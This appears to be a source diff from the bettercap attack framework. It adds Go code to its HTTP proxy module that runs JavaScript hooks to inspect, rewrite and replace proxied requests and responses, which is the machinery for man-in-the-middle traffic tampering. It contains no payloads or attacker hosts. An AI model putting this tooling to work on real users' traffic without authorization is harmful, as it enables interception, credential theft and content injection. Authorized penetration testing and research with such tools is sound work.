+func (j *JSRequest) RemoveHeader(name string) {
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(name) == strings.ToLower(header_name) {
+					removed_header := header_name + ": " + header_value + "\r\n"
+					j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
+					return
+				}
+			}
+		}
+	}
+}
+
+func (j *JSRequest) ReadBody() string {
+	raw, err := ioutil.ReadAll(j.req.Body)
+	if err != nil {
+		return ""
+	}
+
+	j.Body = string(raw)
+	j.bodyRead = true
+	// reset the request body to the original unread state
+	j.req.Body = ioutil.NopCloser(bytes.NewBuffer(raw))
+
+	return j.Body
+}
+
+func (j *JSRequest) ParseForm() map[string]string {
+	if j.Body == "" {
+		j.Body = j.ReadBody()
+	}
+
+	form := make(map[string]string)
+	parts := strings.Split(j.Body, "&")
+
+	for _, part := range parts {
+		nv := strings.SplitN(part, "=", 2)
+		if len(nv) == 2 {
+			unescaped, err := url.QueryUnescape(nv[1])
+			if err == nil {
+				form[nv[0]] = unescaped
+			} else {
+				form[nv[0]] = nv[1]
+			}
+		}
+	}
+
+	return form
+}
+
+func (j *JSRequest) ToRequest() (req *http.Request) {
+	portPart := ""
+	if j.Port != "" {
+		portPart = fmt.Sprintf(":%s", j.Port)
+	}
+
+	url := fmt.Sprintf("%s://%s%s%s?%s", j.Scheme, j.Hostname, portPart, j.Path, j.Query)
+	if j.Body == "" {
+		req, _ = http.NewRequest(j.Method, url, j.req.Body)
+	} else {
+		req, _ = http.NewRequest(j.Method, url, strings.NewReader(j.Body))
+	}
+
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(header_name) == "content-type" {
+					if header_value != j.ContentType {
+						req.Header.Set(header_name, j.ContentType)
+						continue
+					}
+				}
+				req.Header.Set(header_name, header_value)
+			}
+		}
+	}
+
+	req.RemoteAddr = j.Client["IP"]
+
+	return
+}

+ 183 - 0
bettercap/modules/http_proxy/http_proxy_js_response.go

@@ -0,0 +1,183 @@
+package http_proxy
+
+import (
+	"bytes"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"strings"
+
+	"github.com/elazarl/goproxy"
+)
+
+type JSResponse struct {
+	Status      int
+	ContentType string
+	Headers     string
+	Body        string
+
+	refHash   string
+	resp      *http.Response
+	bodyRead  bool
+	bodyClear bool
+}
+
+func NewJSResponse(res *http.Response) *JSResponse {
+	cType := ""
+	headers := ""
+	code := 200
+
+	if res != nil {
+		code = res.StatusCode
+		for name, values := range res.Header {
+			for _, value := range values {
+				headers += name + ": " + value + "\r\n"
+
+				if strings.ToLower(name) == "content-type" {
+					cType = value
+				}
+			}
+		}
+	}
+
+	resp := &JSResponse{
+		Status:      code,
+		ContentType: cType,
+		Headers:     headers,
+		resp:        res,
+		bodyRead:    false,
+		bodyClear:   false,
+	}
+	resp.UpdateHash()
+
+	return resp
+}
+
+func (j *JSResponse) NewHash() string {
+	return fmt.Sprintf("%d.%s.%s", j.Status, j.ContentType, j.Headers)
+}
+
+func (j *JSResponse) UpdateHash() {
+	j.refHash = j.NewHash()
+}
+
+func (j *JSResponse) WasModified() bool {
+	if j.bodyRead {
+		// body was read
+		return true
+	} else if j.bodyClear {
+		// body was cleared manually
+		return true
+	} else if j.Body != "" {
+		// body was not read but just set
+		return true
+	}
+	// check if any of the fields has been changed
+	return j.NewHash() != j.refHash
+}
+
+func (j *JSResponse) GetHeader(name, deflt string) string {
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(name) == strings.ToLower(header_name) {
+					return header_value
+				}
+			}
+		}
+	}
+	return deflt
+}
+
+func (j *JSResponse) SetHeader(name, value string) {
+	name = strings.TrimSpace(name)
+	value = strings.TrimSpace(value)
+
+	if strings.ToLower(name) == "content-type" {
+		j.ContentType = value
+	}
+
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(name) == strings.ToLower(header_name) {
+					old_header := header_name + ": " + header_value + "\r\n"
+					new_header := name + ": " + value + "\r\n"
+					j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
+					return
+				}
+			}
+		}
+	}
+	j.Headers += name + ": " + value + "\r\n"
+}
+
+func (j *JSResponse) RemoveHeader(name string) {
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(name) == strings.ToLower(header_name) {
+					removed_header := header_name + ": " + header_value + "\r\n"
+					j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
+					return
+				}
+			}
+		}
+	}
+}
+
+func (j *JSResponse) ClearBody() {
+	j.Body = ""
+	j.bodyClear = true
+}
+
+func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
+	resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body)
+
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				resp.Header.Add(header_name, header_value)
+			}
+		}
+	}
+
+	return
+}
+
+func (j *JSResponse) ReadBody() string {
+	defer j.resp.Body.Close()
+
+	raw, err := ioutil.ReadAll(j.resp.Body)
+	if err != nil {
+		return ""
+	}
+
+	j.Body = string(raw)
+	j.bodyRead = true
+	j.bodyClear = false
+	// reset the response body to the original unread state
+	j.resp.Body = ioutil.NopCloser(bytes.NewBuffer(raw))
+
+	return j.Body
+}

+ 100 - 0
bettercap/modules/http_proxy/http_proxy_script.go

@@ -0,0 +1,100 @@
+package http_proxy
+
+import (
+	"net/http"
+
+	"github.com/bettercap/bettercap/log"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/robertkrimen/otto"
+
+	"github.com/evilsocket/islazy/plugin"
+)
+
+type HttpProxyScript struct {
+	*plugin.Plugin
+
+	doOnRequest  bool
+	doOnResponse bool
+	doOnCommand  bool
+}
+
+func LoadHttpProxyScript(path string, sess *session.Session) (err error, s *HttpProxyScript) {
+	log.Debug("loading proxy script %s ...", path)
+
+	plug, err := plugin.Load(path)
+	if err != nil {
+		return
+	}
+
+	// define session pointer
+	if err = plug.Set("env", sess.Env.Data); err != nil {
+		log.Error("Error while defining environment: %+v", err)
+		return
+	}
+
+	// run onLoad if defined
+	if plug.HasFunc("onLoad") {
+		if _, err = plug.Call("onLoad"); err != nil {
+			log.Error("Error while executing onLoad callback: %s", "\nTraceback:\n  "+err.(*otto.Error).String())
+			return
+		}
+	}
+
+	s = &HttpProxyScript{
+		Plugin:       plug,
+		doOnRequest:  plug.HasFunc("onRequest"),
+		doOnResponse: plug.HasFunc("onResponse"),
+		doOnCommand:  plug.HasFunc("onCommand"),
+	}
+	return
+}
+
+func (s *HttpProxyScript) OnRequest(original *http.Request) (jsreq *JSRequest, jsres *JSResponse) {
+	if s.doOnRequest {
+		jsreq := NewJSRequest(original)
+		jsres := NewJSResponse(nil)
+
+		if _, err := s.Call("onRequest", jsreq, jsres); err != nil {
+			log.Error("%s", err)
+			return nil, nil
+		} else if jsreq.WasModified() {
+			jsreq.UpdateHash()
+			return jsreq, nil
+		} else if jsres.WasModified() {
+			jsres.UpdateHash()
+			return nil, jsres
+		}
+	}
+
+	return nil, nil
+}
+
+func (s *HttpProxyScript) OnResponse(res *http.Response) (jsreq *JSRequest, jsres *JSResponse) {
+	if s.doOnResponse {
+		jsreq := NewJSRequest(res.Request)
+		jsres := NewJSResponse(res)
+
+		if _, err := s.Call("onResponse", jsreq, jsres); err != nil {
+			log.Error("%s", err)
+			return nil, nil
+		} else if jsres.WasModified() {
+			jsres.UpdateHash()
+			return nil, jsres
+		}
+	}
+
+	return nil, nil
+}
+
+func (s *HttpProxyScript) OnCommand(cmd string) bool {
+	if s.doOnCommand {
+		if ret, err := s.Call("onCommand", cmd); err != nil {
+			log.Error("Error while executing onCommand callback: %+v", err)
+			return false
+		} else if v, ok := ret.(bool); ok {
+			return v
+		}
+	}
+	return false
+}

Some files were not shown because too many files changed in this diff